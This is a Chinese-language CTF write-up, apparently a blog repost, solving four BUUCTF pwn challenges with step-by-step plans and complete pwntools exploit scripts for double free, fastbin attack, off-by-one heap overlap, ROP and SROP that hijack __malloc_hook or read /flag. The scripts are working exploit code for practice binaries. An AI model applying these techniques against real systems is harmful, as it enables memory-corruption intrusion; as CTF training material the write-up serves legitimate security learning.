BUUCTF-PWN刷题记录-4

hitcontraining_secretgarden(double free)

在这里插入图片描述
这题需要使用double free和fastbin attack,
在这里插入图片描述
删除之后指针没有置空,导致可以多次删除
利用思路如下:

  1. 申请四个flower,其中flower[0]name大小需要在unsorted bin范围内,1和2name大小要在fastbin大小范围之内
  2. 删除flower[0](此时name进入unsorted bin)并执行clean操作(如果不执行clean, unsorted bin会被切割导致之后无法分配到相同chunk)
  3. 申请flower,大小与0相同,内容为8*‘a’,此时执行show可以泄露main_arena+0x58地址
  4. 执行double free:delete(1),delete(2),delete(1),然后申请一个同样大小的flower,内容为malloc_hook-0x23,然后再申请2个同样大小的flower
  5. 再申请一个同样大小的flower,payload为’a’*(0x13-8) + p64(one_gadget) + p64(realloc+0x10),因为本题所有One_gadget都不能直接使用,需要利用realloc对栈进行调整

Exp:

from pwn import *
from LibcSearcher import *

#r = remote("node3.buuoj.cn", 27261)
r = process("./hitcontraining_secretgarden")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400EAA
	c
	''')

elf = ELF("./hitcontraining_secretgarden")
libc = ELF('./libc/libc-2.23.so')
magic = elf.sym['magic']
fakechunk = 0x601ffa

def add(size, content, color):
	print r.recvuntil("Your choice : ")
	r.sendline('1')
	print r.recvuntil("Length of the name :")
	r.sendline(str(size))
	print r.recvuntil("The name of flower :")
	r.send(content)
	print r.recvuntil("The color of the flower :")
	r.send(color)


def show():
	print r.recvuntil("Your choice : ")
	r.sendline('2')

def delete(index):
	print r.recvuntil("Your choice : ")
	r.sendline('3')
	print r.recvuntil("Which flower do you want to remove from the garden:")
	r.sendline(str(index))

def clean():
	print r.recvuntil("Your choice : ")
	r.sendline('4')

add(0x98, 'a\n', 'a\n')#0
add(0x68, 'b\n', 'b\n')#1
add(0x68, 'b\n', 'b\n')#2
add(0x68, 'b\n', 'b\n')#3

delete(0)
clean()
add(0x98, 'a' * 8, '1234\n')
show()

r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
success("malloc_hook:"+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = 0x4526a + libc_base

delete(1) #1
delete(2) #2->1
delete(1) #1->2->1

add(0x68, p64(malloc_hook-0x23), 'a\n') #1

add(0x68, 'aaa', 'a\n') #2
add(0x68, 'bbb', 'a\n') #1

payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc+0x10)
add(0x68, payload, 'a\n') #malloc_hook
print r.recvuntil("Your choice : ")
r.sendline('1')
r.interactive()

[V&N2020 公开赛]warmup(ROP)

在这里插入图片描述
除了CANARY都打开了,所以应该是缓冲区溢出
在这里插入图片描述
给了puts的地址,从而泄露出libc 基地址
在这里插入图片描述
这个函数不能溢出
在这里插入图片描述
这个函数可以覆盖返回地址,而该函数被上一个函数调用,因此我们可以把ROP chain写在上一个函数的缓冲区,并覆盖本函数的返回地址为ret的地址

TIPS:
这里有个小问题,就是读入的/flag和读出得flag存放在哪,看了大佬们的WP,总结出下面两个地址

  1. libc.[‘environ’],是libc存储的栈地址
  2. libc.address + 0x3C6500 和 libc.address + 0x3C6700,位于libc的bss段

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 26933)
context.log_level='debug'
context(arch = "amd64", os = "linux")
elf = ELF("./vn_pwn_warmup")
libc = ELF("./libc/libc-2.23.so")

print r.recvuntil("Here is my gift: 0x")
puts_addr = int(r.recvuntil("\n").strip(), 16)
success("puts:" + hex(puts_addr))

libc.address = puts_addr - libc.symbols['puts']
read = libc.symbols['read']
open = libc.symbols['open']
write = libc.symbols['write']
success("open:" + hex(open))
success("read:" + hex(read))
success("write:" + hex(write))

libc_base = libc.address
success("libc base:" + hex(libc_base))
ret = libc_base + 0x000937
pop_rdi = libc_base + 0x021102
pop_rsi = libc_base + 0x0202e8
pop_rdx = libc_base + 0x001b92
write_place = libc.sym['environ'] 		#libc_base + 0x3C6500 also work
read_place =  libc.sym['environ'] + 8		#libc_base + 0x3C6700


print r.recvuntil("Input something: ")

#	read "/flag"
payload = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(write_place) + p64(pop_rdx) + p64(0x100) + p64(read)
#	open
payload += p64(pop_rdi) + p64(write_place) + p64(pop_rsi) + p64(0) + p64(open)
#	read flag
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(read_place) + p64(pop_rdx) + p64(0x100) + p64(read)
#	write_flag
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_place) + p64(pop_rdx) + p64(0x100) + p64(write)


r.send(payload)

print r.recvuntil("What's your name?")
payload = 'a' * 0x70 + p64(0xdeadbeef) + p64(ret)
r.send(payload)
r.sendline('/flag\x00\x00')
r.interactive()

[V&N2020 公开赛]babybabypwn(SROP)

本题考查对SROP的使用
在这里插入图片描述
程序禁用了一些函数
在这里插入图片描述
使用seccomp查看被禁用的函数

seccomp-tools dump ./vn_pwn_babybabypwn

在这里插入图片描述
附上seccomp-tools安装步骤

git clone https://github.com/david942j/seccomp-tools.git
sudo apt install gcc ruby-dev
gem install seccomp-tools

sudo apt install libseccomp-dev libseccomp2 seccomp

可以看到禁用了execve,所以我们考虑使用orw的办法获取flag

在这里插入图片描述
程序进行了15号系统调用,为rt_sigreturn函数,所以我们需要使用SROP读出flag
pwntool提供了SigreturnFrame()帮助我们利用
过程如下:

  1. 利用SROP把ROPchain读入程序中,这里我们选择读入Libc的environ中
  2. 利用open read,write输出flag

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 29006)
context(arch = 'amd64', os= 'linux')
print r.recvuntil("Here is my gift: 0x")
libc = ELF("./libc/libc-2.23.so")
puts_addr = int(r.recvuntil('\n').strip(), 16)
libc_base = puts_addr - libc.symbols['puts']
libc.address = libc_base
success("libc_base:" + hex(libc_base))
buf = libc.sym['environ']
pop_rdi = 0x021102 + libc_base
pop_rdx_rsi = 0x1150c9 + libc_base
pop_rdx = 0x001b92 + libc_base
syscall = 0x0bc375 + libc_base

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rsp = buf + 8
frame.rdi = 0
frame.rsi = buf
frame.rdx = 0x200
frame.rip = syscall
payload = str(frame)[8:]
r.sendline(payload)

payload = 'flag' + '\x00' * 4 + p64(pop_rdi) + p64(buf) + p64(pop_rdx_rsi) + p64(0) * 2 + p64(libc.symbols['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rdx_rsi) + p64(0x100) + p64(buf) + p64(libc.symbols['read'])
payload += p64(pop_rdi) + p64(1) + p64(pop_rdx_rsi) + p64(0x100) + p64(buf) + p64(libc.symbols['write'])
r.sendline(payload)
r.interactive()

[V&N2020 公开赛]simpleHeap(off-by-one, house of spirit)

在这里插入图片描述
保护全开,又是堆上的题目,一般都是劫持malloc_hook
在这里插入图片描述
在edit函数中,程序使用了自己定义的read读入
在这里插入图片描述
而仔细分析这段代码可以发现,这个read的方式可以造成一个字节的溢出
利用过程如下:

  1. 添加几个项目,heap[0],heap[1],heap[2]的大小可以设得小一点,构造时注意heap[4]的chunk要正好是heap[2]的head修改之后的下一个chunk
  2. 首先在heap[0]中溢出,使得heap[1]的大小包含进heap[2]的fd部分删除heap[1],申请修改之后的大小,并把heap[2] chunk的head复原,此时需要把chunk2大小修改为unsorted bin范围之内
  3. 删除Heap[2],编辑heap[1],把main_arena+0x58地址泄露,并计算one_gadget 和realloc的地址
  4. 把heap[2]的head复原,申请一个0x60大小的heap,此时heap[2]的chunk会被切割
  5. 删除之前申请的0x60,把malloc_hook-0x23写到它的fd部分
  6. 申请一次0x60,再次申请0x60即可获得malloc_hook-0x23处的chunk

Exp:

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 27254)
#r = process("./vn_pwn_simpleHeap")

context.log_level = 'debug'

elf = ELF("./vn_pwn_simpleHeap")
libc = ELF('./libc/libc-2.23.so')
free_got = elf.got['free']

def add(size, content):
	print r.recvuntil("choice: ")
	r.sendline('1')
	print r.recvuntil("size?")
	r.sendline(str(size))
	print r.recvuntil("content:")
	r.send(content)


def show(index):
	print r.recvuntil("choice: ")
	r.sendline('3')
	print r.recvuntil("idx?")
	r.sendline(str(index))

def edit(index, content):
	print r.recvuntil("choice: ")
	r.sendline('2')
	print r.recvuntil("idx?")
	r.sendline(str(index))
	print r.recvuntil("content:")
	r.send(content)

def delete(index):
	print r.recvuntil("choice: ")
	r.sendline('4')
	print r.recvuntil("idx?")
	r.sendline(str(index))

add(0x18, 'a\n')#0
add(0x18, 'a\n')#1
add(0x18, 'a\n')#2
add(0x68, 'a\n')#3
add(0x68, 'a\n')#4

payload = 'a' * 0x18 + '\x41'
edit(0, payload)
delete(1)
add(0x30, 'a\n')#1
payload = p64(0) * 3 + '\x91' + '\n'
edit(1, payload)


delete(2)
delete(1)

add(0x30, 'a'*0x20)#1
show(1)


print r.recvuntil('a'*0x20)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a

payload = p64(0) * 3 + p64(0x91) + '\n'
edit(1, payload)
add(0x60, 'aa\n')#2
delete(2)

payload = p64(0) * 3 + p64(0x71) + p64(malloc_hook-0x23) + '\n'
edit(1, payload)
add(0x60, 'a\n')#2
payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc+0x10)
add(0x68, payload) #malloc_hook

print r.recvuntil("choice: ")
r.sendline('1')
print r.recvuntil("size?")
r.sendline('10')

r.interactive()

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105246356